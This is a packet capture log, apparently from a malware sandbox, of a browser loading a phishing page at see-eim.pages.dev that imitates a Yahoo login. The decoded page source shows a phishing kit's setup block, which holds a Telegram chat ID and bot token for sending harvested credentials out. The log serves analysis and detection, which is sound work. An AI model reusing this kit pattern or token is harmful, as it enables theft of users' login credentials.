2024-01-10 23:26:10 UTC	1300	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 f0 00 00 00 48 08 03 00 00 00 ff 12 88 b8 00 00 00 2a 50 4c 54 45 47 70 4c 61 02 d3 61 01 d3 61 02 d3 72 19 e1 60 01 d2 60 01 d2 60 01 d2 60 01 d3 62 05 d5 61 03 d4 60 01 d2 65 09 d7 60 01 d2 05 db 6c 10 00 00 00 0e 74 52 4e 53 00 54 7b 6a 0a b3 ff e1 93 2a 3d ca 19 f3 50 61 75 3e 00 00 04 b9 49 44 41 54 78 da ed 9a eb 8e 23 29 0c 46 8b 8b 8b 8b f1 fb bf ee aa 27 d2 26 b6 31 14 b5 35 1a 2d 13 ab ff 74 82 c0 07 cc 87 0d 39 be f6 b5 af 5d 30 e7 df 16 fe 9c 1b d1 33 fb 8d 9e c0 f9 b6 f4 e7 80 fd c9 2c 6f 0f 9c 38 70 d9 1d b8 72 5e 3c 76 07 06 0e ec 76 07 6e 9c 97 e2 e6 c0 5a b2 f6 06 d6 92 b5 3b b0 e3 bc 70 ec 0d ac 25 6b 77 e0 c2 79 d3 b1 3b 70 e6 c0 7e 77 e0 48 1c b8 6d 0e ac 25 6b 77 60 e4 c0 f5 89 Data Ascii: PNGIHDRHPLTEGpLaaar````ba`e`ltRNST{j=Pau>IDATx#)F'&15-t9]03,o8pr^<vvnZ;p%kwy;p~wHm%kw`
2024-01-10 23:26:10 UTC	46	IN	Data Raw: 5b fa cb 24 cb 0d 2a ff fd cf 24 d8 9f 37 e6 ec df 7f f5 f8 da d7 fe 87 f6 0f 42 2a 9e da f5 7e d6 49 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: [$$7B~IIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49735	172.66.47.129	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:26:10 UTC	623	OUT	GET /login_files/login_files/loga HTTP/1.1 Host: see-eim.pages.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://see-eim.pages.dev/login_files/loga Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:26:10 UTC	755	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:26:10 GMT Content-Type: text/html; charset=utf-8 Content-Length: 87601 Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=0, must-revalidate ETag: "a8939e5a085463ed0b92e943f45878d6" referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Qzyi35xmg0n7FaAp0DFAr4D4n1MikCyAfWDbdvtOwexw1SbofHmjDAT9CJDvikjrURVL%2BA7CuPtvxSDicE3bBcTH1Po24L8uyXoGVu%2Fag2TuKnLFLch6JwNLBf0Yb6RirzfoPQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8438aef49a688290-IAD alt-svc: h3=":443"; ma=86400
2024-01-10 23:26:10 UTC	614	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 20 20 20 20 2f 2f 50 55 54 20 59 4f 55 52 20 54 45 4c 45 47 52 41 4d 20 49 4e 46 4f 52 4d 41 54 49 4f 4e 20 48 45 52 45 0d 0a 20 20 20 20 75 73 65 72 74 65 6c 65 67 72 61 6d 3d 22 35 36 30 37 33 38 35 34 39 36 22 3b 20 2f 2f 59 6f 75 20 43 61 6e 20 47 65 74 20 79 6f 75 72 20 69 64 20 46 52 4f 4d 20 48 45 52 45 20 3a 20 40 63 68 61 74 69 64 5f 65 63 68 6f 5f 62 6f 74 0d 0a 20 20 20 20 74 6f 6b 65 6e 3d 22 36 30 35 35 36 38 39 35 31 35 3a 41 41 48 72 51 66 54 4f 45 6b 37 65 61 43 59 37 31 57 79 72 79 63 31 7a 63 56 68 6f 79 34 39 55 62 57 30 22 3b 0d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 68 74 6d Data Ascii: <!DOCTYPE html><script type="text/javascript"> //PUT YOUR TELEGRAM INFORMATION HERE usertelegram="5607385496"; //You Can Get your id FROM HERE : @chatid_echo_bot token="6055689515:AAHrQfTOEk7eaCY71Wyryc1zcVhoy49UbW0"; </script><htm
2024-01-10 23:26:10 UTC	1369	IN	Data Raw: 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 22 3e 0d 0a 09 0d 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 2f 2a 21 20 73 6b 65 6c 65 74 6f 72 2d 69 6f 20 2d 20 76 31 2e 30 2e 33 34 20 2a 2f 0d 0a 20 20 20 20 20 20 20 20 2f 2a 21 20 6e 6f 72 6d 61 6c 69 7a 65 2e 63 73 73 20 76 33 2e 30 2e 32 20 7c 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 7c 20 67 69 74 2e 69 6f 2f 6e 6f 72 6d 61 6c 69 7a 65 20 2a 2f 0d 0a 20 20 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 69 6d 67 2c 0d 0a 20 20 20 20 20 20 20 20 6c 65 67 65 6e 64 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 30 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 68 31 2c 0d 0a 20 20 20 20 Data Ascii: -when-cross-origin"> <style type="text/css"> /! skeletor-io - v1.0.34 / /! normalize.css v3.0.2 \| MIT License \| git.io/normalize / img, legend { border: 0 } h1,
2024-01-10 23:26:10 UTC	1369	IN	Data Raw: 73 70 6c 61 79 3a 20 6e 6f 6e 65 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 61 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 61 3a 61 63 74 69 76 65 2c 0d 0a 20 20 20 20 20 20 20 20 61 3a 68 6f 76 65 72 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6f 75 74 6c 69 6e 65 3a 20 30 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 61 62 62 72 5b 74 69 74 6c 65 5d 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 20 64 6f 74 74 65 64 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 62 2c 0d 0a 20 20 20 20 20 20 Data Ascii: splay: none } a { background-color: transparent } a:active, a:hover { outline: 0 } abbr[title] { border-bottom: 1px dotted } b,
2024-01-10 23:26:10 UTC	1369	IN	Data Raw: 0d 0a 20 20 20 20 20 20 20 20 68 36 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 36 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 62 75 74 74 6f 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 20 76 69 73 69 62 6c 65 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 62 75 74 74 6f 6e 2c 0d 0a 20 20 20 20 20 20 20 20 73 65 6c 65 63 74 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 6e 6f 6e 65 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 62 75 74 74 6f 6e 2c 0d 0a 20 20 20 20 20 20 20 20 68 74 6d 6c 20 69 6e 70 75 74 5b 74 79 70 65 3d 62 75 74 74 6f 6e 5d 2c 0d 0a 20 20 20 20 20 20 20 Data Ascii: h6 { line-height: 1.6 } button { overflow: visible } button, select { text-transform: none } button, html input[type=button],
2024-01-10 23:26:10 UTC	1369	IN	Data Raw: 7d 0d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 39 36 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 32 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 6f 6c 2c 0d 0a 20 20 20 20 20 20 20 20 70 2c 0d 0a 20 20 20 20 20 20 20 20 75 6c 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 30 0d 0a 20 Data Ascii: } .container { width: 100%; max-width: 960px; margin: 0 auto; padding: 0 20px; box-sizing: border-box } ol, p, ul { margin-top: 0
2024-01-10 23:26:10 UTC	1369	IN	Data Raw: 20 2d 2e 30 35 72 65 6d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 68 36 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 2e 35 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 35 72 65 6d 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 30 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 35 35 30 70 78 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 38 30 25 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: -.05rem } h6 { font-size: 25.5px; font-size: 1.5rem; letter-spacing: 0 } @media (min-width: 550px) { .container { width: 80% }
2024-01-10 23:26:10 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 2e 74 77 65 6c 76 65 2e 63 6f 6c 75 6d 6e 73 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 30 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6f 6e 65 2d 74 68 69 72 64 2e 63 6f 6c 75 6d 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 33 30 2e 36 36 36 36 36 36 36 36 36 37 25 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 74 77 6f 2d 74 68 69 72 64 73 2e 63 6f 6c 75 6d 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 36 35 2e 33 33 33 33 Data Ascii: .twelve.columns { width: 100%; margin-left: 0 } .one-third.column { width: 30.6666666667% } .two-thirds.column { width: 65.3333
2024-01-10 23:26:10 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 36 39 2e 33 33 33 33 33 33 33 33 33 33 25 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6f 66 66 73 65 74 2d 62 79 2d 6e 69 6e 65 2e 63 6f 6c 75 6d 6e 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6f 66 66 73 65 74 2d 62 79 2d 6e 69 6e 65 2e 63 6f 6c 75 6d 6e 73 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 37 38 25 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6f 66 66 73 65 74 2d 62 79 2d 74 65 6e 2e 63 6f 6c 75 6d 6e 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6f 66 66 73 65 74 2d 62 79 2d 74 65 6e 2e 63 6f 6c 75 6d 6e 73 20 7b 0d 0a 20 20 20 20 20 Data Ascii: margin-left: 69.3333333333% } .offset-by-nine.column, .offset-by-nine.columns { margin-left: 78% } .offset-by-ten.column, .offset-by-ten.columns {
2024-01-10 23:26:10 UTC	1369	IN	Data Raw: 5b 74 79 70 65 3d 72 65 73 65 74 5d 2c 0d 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 73 75 62 6d 69 74 5d 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 33 38 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 33 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 35 35 35 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 36 30 30 Data Ascii: [type=reset], input[type=submit] { display: inline-block; height: 38px; padding: 0 30px; color: #555; text-align: center; font-size: 11px; font-weight: 600
2024-01-10 23:26:10 UTC	1369	IN	Data Raw: 63 6f 6c 6f 72 3a 20 23 46 46 46 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 33 33 43 33 46 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 33 33 43 33 46 30 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 2e 62 75 74 74 6f 6e 2e 62 75 74 74 6f 6e 2d 70 72 69 6d 61 72 79 3a 66 6f 63 75 73 2c 0d 0a 20 20 20 20 20 20 20 20 2e 62 75 74 74 6f 6e 2e 62 75 74 74 6f 6e 2d 70 72 69 6d 61 72 79 3a 68 6f 76 65 72 2c 0d 0a 20 20 20 20 20 20 20 20 62 75 74 74 6f 6e 2e 62 75 74 74 6f 6e 2d 70 72 69 6d 61 72 79 3a 66 6f 63 75 73 2c 0d 0a 20 20 20 20 20 20 20 20 62 75 74 74 6f 6e 2e 62 75 74 74 6f 6e 2d 70 72 69 6d 61 72 79 3a 68 6f 76 65 72 2c 0d 0a 20 Data Ascii: color: #FFF; background-color: #33C3F0; border-color: #33C3F0 } .button.button-primary:focus, .button.button-primary:hover, button.button-primary:focus, button.button-primary:hover,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49741	69.147.92.12	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:26:10 UTC	391	OUT	GET /rz/p/yahoo_frontpage_en-US_s_f_p_bestfit_frontpage_2x.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:26:11 UTC	824	IN	HTTP/1.1 200 OK x-amz-id-2: usWzsLhjgvpHJjTtzVdXhAWersLT9ybdmYfWXJIvomuAIajUwwc8BeiXbdEwOF91AVJbQEuissE= x-amz-request-id: N4KB5K1G8Y9QKNTM Date: Wed, 10 Jan 2024 19:57:29 GMT Last-Modified: Tue, 09 Jan 2024 21:32:09 GMT ETag: "cd166981c96c6d0f4b5a7d798c25878e" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=86400 Expires: Thu, 11 Jan 2024 00:00:00 GMT Accept-Ranges: bytes Content-Type: image/png Server: ATS Content-Length: 1346 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 12523 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-01-10 23:26:11 UTC	1300	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 f0 00 00 00 48 08 03 00 00 00 ff 12 88 b8 00 00 00 2a 50 4c 54 45 47 70 4c 61 02 d3 61 01 d3 61 02 d3 72 19 e1 60 01 d2 60 01 d2 60 01 d2 60 01 d3 62 05 d5 61 03 d4 60 01 d2 65 09 d7 60 01 d2 05 db 6c 10 00 00 00 0e 74 52 4e 53 00 54 7b 6a 0a b3 ff e1 93 2a 3d ca 19 f3 50 61 75 3e 00 00 04 b9 49 44 41 54 78 da ed 9a eb 8e 23 29 0c 46 8b 8b 8b 8b f1 fb bf ee aa 27 d2 26 b6 31 14 b5 35 1a 2d 13 ab ff 74 82 c0 07 cc 87 0d 39 be f6 b5 af 5d 30 e7 df 16 fe 9c 1b d1 33 fb 8d 9e c0 f9 b6 f4 e7 80 fd c9 2c 6f 0f 9c 38 70 d9 1d b8 72 5e 3c 76 07 06 0e ec 76 07 6e 9c 97 e2 e6 c0 5a b2 f6 06 d6 92 b5 3b b0 e3 bc 70 ec 0d ac 25 6b 77 e0 c2 79 d3 b1 3b 70 e6 c0 7e 77 e0 48 1c b8 6d 0e ac 25 6b 77 60 e4 c0 f5 89 Data Ascii: PNGIHDRHPLTEGpLaaar````ba`e`ltRNST{j=Pau>IDATx#)F'&15-t9]03,o8pr^<vvnZ;p%kwy;p~wHm%kw`
2024-01-10 23:26:11 UTC	46	IN	Data Raw: 5b fa cb 24 cb 0d 2a ff fd cf 24 d8 9f 37 e6 ec df 7f f5 f8 da d7 fe 87 f6 0f 42 2a 9e da f5 7e d6 49 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: [$$7B~IIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49742	35.190.80.1	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:26:11 UTC	542	OUT	OPTIONS /report/v3?s=Qzyi35xmg0n7FaAp0DFAr4D4n1MikCyAfWDbdvtOwexw1SbofHmjDAT9CJDvikjrURVL%2BA7CuPtvxSDicE3bBcTH1Po24L8uyXoGVu%2Fag2TuKnLFLch6JwNLBf0Yb6RirzfoPQ%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://see-eim.pages.dev Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:26:11 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Wed, 10 Jan 2024 23:26:10 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49743	35.190.80.1	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:26:11 UTC	482	OUT	POST /report/v3?s=Qzyi35xmg0n7FaAp0DFAr4D4n1MikCyAfWDbdvtOwexw1SbofHmjDAT9CJDvikjrURVL%2BA7CuPtvxSDicE3bBcTH1Po24L8uyXoGVu%2Fag2TuKnLFLch6JwNLBf0Yb6RirzfoPQ%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 456 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:26:11 UTC	456	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 36 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 35 37 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 73 65 65 2d 65 69 6d 2e 70 61 67 65 73 2e 64 65 76 2f 6c 6f 67 69 6e 5f 66 69 6c 65 73 2f 6c 6f 67 61 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 36 2e 34 37 2e 31 32 39 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 32 30 30 2c 22 74 79 70 65 22 3a 22 61 62 61 6e 64 6f 6e 65 64 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f Data Ascii: [{"age":6,"body":{"elapsed_time":157,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://see-eim.pages.dev/login_files/loga","sampling_fraction":1.0,"server_ip":"172.66.47.129","status_code":200,"type":"abandoned"},"type":"netwo
2024-01-10 23:26:11 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Wed, 10 Jan 2024 23:26:11 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49744	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:26:11 UTC	613	OUT	GET /wm/mbr/images/yahoo-favicon-img-v0.0.2.ico HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://see-eim.pages.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:26:11 UTC	804	IN	HTTP/1.1 200 OK x-amz-id-2: HZMwOwGilHDCNwwDcb9CdNl9NEIHoCMy/XYixI4V33WD6bo3jIiSX3L9adw1D8PuzQiWn9zSnsU= x-amz-request-id: EAXC4GV8P56Y54KY Date: Mon, 08 Jan 2024 20:42:26 GMT Last-Modified: Wed, 11 Sep 2019 18:01:04 GMT ETag: "b6814ae5582d7953821acbd76e977bb4" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=315360000 Accept-Ranges: bytes Content-Type: image/vnd.microsoft.icon Server: ATS Content-Length: 1406 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 182626 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-01-10 23:26:11 UTC	1300	IN	Data Raw: 00 00 01 00 01 00 10 10 00 00 01 00 08 00 68 05 00 00 16 00 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d2 01 60 00 d3 08 64 00 d3 0b 66 00 d4 0f 69 00 d5 12 6b 00 d5 16 6d 00 d6 1a 70 00 d6 1c 71 00 d7 1f 73 00 d7 20 73 00 d8 24 76 00 d9 2a 7a 00 dd 3f 87 00 de 44 8a 00 df 4d 90 00 e1 56 95 00 e2 5f 9b 00 e3 62 9d 00 e3 63 9d 00 e5 6c a3 00 e6 76 a9 00 e7 79 ab 00 e7 7c ad 00 eb 92 bb 00 ed 9c c1 00 f0 ac cb 00 f1 b2 ce 00 f1 b4 d0 00 f2 b6 d1 00 f2 b8 d2 00 f3 bf d7 00 f4 c5 da 00 f6 d0 e1 00 f7 d2 e2 00 f7 d3 e3 00 f9 de ea 00 f9 e1 ec 00 fa e8 f0 00 fb ea f1 00 fc ee f4 00 fd f6 f9 00 fd f9 fb 00 fe fa fb 00 fe fb fc 00 fe fc fd 00 fe fd fd 00 fe fe fe 00 ff ff ff 00 00 Data Ascii: h( `dfikmpqs s$v*z?DMV_bclvy\|
2024-01-10 23:26:11 UTC	106	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49747	69.147.92.12	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:26:12 UTC	376	OUT	GET /wm/mbr/images/yahoo-favicon-img-v0.0.2.ico HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
